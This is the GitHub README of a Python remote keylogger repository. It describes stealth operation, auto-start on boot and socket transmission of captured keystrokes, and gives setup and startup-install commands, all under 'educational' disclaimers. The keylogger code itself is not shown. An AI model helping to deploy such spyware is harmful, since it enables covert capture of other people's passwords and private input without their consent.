Skip to content

ritimx/Malware_pyKeylogger

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Remote Educational Keylogger

⚠️ IMPORTANT LEGAL DISCLAIMER: This project is for EDUCATIONAL PURPOSES ONLY. Use only on devices you own or have explicit permission to monitor. Unauthorized use may violate local laws and regulations. The author is not responsible for misuse.


📖 Overview

A Python-based remote keylogger that demonstrates socket-based communication to transmit keystrokes between machines on the same local network. This repository exists to teach concepts in network programming, low-level input handling, and the ethical implications of monitoring tools.


🛡️ Ethical Use Warning

THIS SOFTWARE IS FOR LEGAL, EDUCATIONAL USE ONLY.

  • Use only on devices you own or have explicit permission to monitor.
  • Always obtain written consent where appropriate.
  • Understand and comply with your local laws regarding computer monitoring and privacy.
  • Do not use for malicious purposes.

🚀 Features

  • Real-time keystroke transmission via socket communication
  • Cross-platform compatibility (Windows, macOS, Linux)
  • Stealth operation (hidden console window; for demonstration only)
  • Auto-start capability on system boot
  • Special key detection (function keys, modifiers, enter, backspace, etc.)
  • Timestamps for activity logging
  • Secure stop combination (Ctrl+Shift+R) to halt monitoring

📋 Prerequisites

  • Python 3.6+
  • Required packages: pynput
  • On Windows, optional package: pywin32 for some window/console behaviors

🔧 Installation

For Educational Use

# Clone the repository
git clone https://github.com/ritimx/Malware_pyKeylogger.git
cd Malware_pyKeylogger

# Install dependencies
pip install -r requirements.txt

🖥️ Setup Instructions

Receiver (your laptop)

  1. Find your IP address using ipconfig (Windows) or ifconfig (macOS/Linux).
  2. In the script, set:
SERVER_MODE = True
SERVER_IP = "<your-laptop-ip>"
SERVER_PORT = 12345
  1. Run the receiver first:
python keylogger.py

Sender (monitored PC)

  1. In the script, set:
SERVER_MODE = False
SERVER_IP = "<receiver-ip>"
SERVER_PORT = 12345
  1. Run the sender on the monitored PC:
python keylogger.py

Stop the keylogger on the monitored PC

  • Press Ctrl+Shift+R to stop the logger.

⚙️ Configuration (script variables)

Edit these variables in keylogger.py as needed:

SERVER_MODE = True      # True for receiver, False for sender
SERVER_IP = "192.168.1.100"  # Receiver's IP address
SERVER_PORT = 12345     # Communication port

🚦 Usage

Basic operation

  1. Start the receiver script on your laptop.
  2. Start the sender script on the monitored PC.
  3. Keystrokes will appear in real-time on the receiver (for demonstration only).

Auto-start installation (Windows demonstration)

# Install to startup (Windows)
python file_name.py --install

# Uninstall from startup
python file_name.py --uninstall

Note: Auto-start behavior is platform dependent. Exercise extreme caution and obtain permission before configuring auto-start on any device.


🧪 Testing

Test the network connection with the included simple client/server test (see script comments) before using the full keylogger functionality. Only run tests in controlled, permitted environments.


🔒 Security Notes

  • Communication in this educational example occurs over the local network with no encryption. For any real deployment (where legally permitted), always add encryption (e.g., TLS) and authentication.
  • Firewall rules may need to be adjusted to allow initial connections during testing.
  • This repository is designed as an educational demonstration — do not use it to invade privacy or perform unauthorized monitoring.

🤝 Contributing

Contributions are welcome if they align with the educational goals of the project. Please focus on:

  • Improving documentation and educational explanations
  • Adding security features for demonstration (e.g., encrypted transport, authentication)
  • Adding tests and safer-by-default behavior
  • Bug fixes

When contributing, ensure changes do not make the project easier to misuse.


⚠️ Responsible Disclosure

If you find security vulnerabilities in this project:

  • Do not exploit them maliciously.
  • Report them responsibly (open an issue or contact the repository owner).
  • Provide enough detail to reproduce and fix the issue.

📚 Educational Value

This project demonstrates:

  • Socket programming in Python
  • Low-level keyboard input handling using pynput
  • Basic network communication patterns
  • System integration (auto-start examples, console/window interactions)
  • Ethical and legal considerations around monitoring software

📞 Getting Help

  • For legal questions: consult a qualified legal professional.
  • For technical issues: open a GitHub issue in the repository.
  • For educational guidance: start a discussion on the repository or reach out via GitHub Discussions.

📜 License

This project is released under the MIT License. See LICENSE for details.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published